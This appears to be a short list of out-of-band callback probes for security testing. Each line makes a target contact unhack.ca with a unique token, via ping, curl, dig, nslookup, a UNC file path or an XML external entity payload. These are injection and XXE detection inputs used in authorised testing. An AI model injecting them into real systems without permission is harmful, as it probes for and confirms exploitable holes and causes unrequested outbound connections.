$ ping -c1 -p 00ab04790048b5327195997860119000 unhack.ca
 

$ curl http://unhack.ca/p/ab04790048b53271959978601190
 

$ dig ab04790048b53271959978601190 @unhack.ca
 

$ dig ab04790048b53271959978601190.ns.unhack.ca
 

C:\> nslookup ab04790048b53271959978601190 unhack.ca
 

C:\> type \\unhack.ca\ab04790048b53271959978601190\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ab04790048b53271959978601190">]>
    <foo>&xxe;</foo>